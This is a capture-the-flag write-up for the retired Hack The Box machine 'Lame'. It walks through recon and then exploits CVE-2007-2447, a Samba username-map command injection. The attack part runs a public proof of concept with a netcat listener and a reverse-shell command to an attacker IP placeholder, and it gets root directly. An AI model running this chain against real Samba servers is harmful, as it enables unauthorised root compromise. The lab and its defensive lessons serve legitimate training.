root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat lame.md
// writeups

Lame

14 Mar 2017 · 7 min read
writeupshacktheboxlinuxEasyretiredvip
Lame - maquina de Hack The Box

Executive summary — Lame is an old Easy Linux box, the very first machine ever retired on Hack The Box. It exposes Samba 3.0.20, vulnerable to CVE-2007-2447 («username map script»): an SMB username with shell metacharacters causes command injection. Since Samba runs as root, execution is direct root — no escalation afterwards. A single hop: Samba → Root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.23.46

Attack map

[21,22,139,445,3632] Recon: anonymous FTP, SSH, Samba, distccd
   │  The surface is noisy, but there's only one strong lead
   ▼
[139/445] Samba smbd 3.0.20-Debian
   │  CVE-2007-2447 — «username map script»: command injection via the SMB username
   ▼
[ROOT]  Samba runs as root → direct root shell (no privesc)

1. Initial setup and recon

Before scanning, we add the machine to /etc/hosts so we can refer to it by name instead of repeating the IP in every command:

echo "10.129.23.46 lame.htb" | sudo tee -a /etc/hosts

We check basic connectivity with a ping before running the port scan:

ping -c 1 lame.htb

Why the TTL matters: besides confirming the box responds, the response's TTL gives an early hint about the OS. Linux usually sits near 64; Windows near 128. Not conclusive, but it steers enumeration.

nmap -sC -sV lame.htb
21/tcp    open  ftp        vsftpd 2.3.4
22/tcp    open  ssh
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn  Samba smbd 3.0.20-Debian
3632/tcp  open  distccd

The key clue isn't the number of open ports, but the Samba version: 3.0.20-Debian. It dates back to 2007 and carries a well-known, well-documented RCE.

2. First pass over the surface

Before committing to one vector, we quickly probe the other open services to rule out faster or alternative paths.

ftp lame.htb
# Name: anonymous
# Password: anonymous

Anonymous FTP access works, but exposes nothing useful for the objective on this box.

SSH (port 22) is open, but we have no valid credentials to start with, so it's not the quick path. distccd (port 3632) is also interesting — it carries its own CVE-2004-2687 — but on Lame the most direct, clean path is Samba.

On Easy boxes it pays to quickly rule out noisy surface and focus on the strongest lead. Here, that lead is clearly the Samba version.

3. Identify the vulnerability

searchsploit samba 3.0.20
Samba 3.0.20 < 3.0.25rc3 - 'Username map script' Command Execution   ...

What CVE-2007-2447 is: if Samba has username map script configured, the username sent by the client is passed to a system script without sanitisation. Putting shell metacharacters in the username (e.g. /=`command`) runs that command — and Samba runs as root.

4. Prepare the exploit

We use a public PoC that automates sending the malicious username over SMB:

git clone https://github.com/amriunix/CVE-2007-2447.git
cd CVE-2007-2447

Real gotcha #1: the exploit uses the pysmb library; running it as-is fails with ModuleNotFoundError: No module named 'smb'. Fixed by installing the dependency: pip3 install pysmb --break-system-packages.

5. Exploitation → root shell

Before running the exploit we start a listener waiting for the reverse connection:

nc -lvnp 4444

Real gotcha #2: the script requires four positional arguments, not three and not a couple of loose flags. Running it incomplete prints the correct usage:

usage: python usermap_script.py <RHOST> <RPORT> <LHOST> <LPORT>

With all four values in order — target IP, Samba port, our VPN IP and the listener port — the exploit works:

python3 usermap_script.py 10.129.23.46 445 <ATTACKER_IP> 4444

Result — a root shell straight away on the listener:

id
uid=0(root) gid=0(root) groups=0(root)

6. Why it lands directly as root

No escalation needed. The username map script flaw lets us inject an arbitrary command into the system, and that command is executed by the Samba process itself — which on this box runs with root privileges. No credentials, no intermediate shell, no additional local escalation required: correctly exploiting Samba already gives direct root.

7. Flags

cat /home/makis/user.txt
cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Foothold + RootSamba smbd 3.0.20CVE-2007-2447 («username map script» command injection)Command execution as root

Lessons learned

  • Old software = known RCE. Samba 3.0.20 is from 2007; inventory and update.
  • Never pass client input to a script unsanitised (here, the username).
  • Services as root: running Samba as root turns an injection into full compromise. Least privilege.
  • Fingerprint versions (-sV + searchsploit): half the box solved.
  • Rule out noisy surface fast: anonymous FTP, credential-less SSH and distccd were distractions; the strong lead was the Samba version.
  • Read a public exploit's usage carefully before running it: one missing positional argument (here, the remote port) gives a usage error, not a failed exploitation attempt.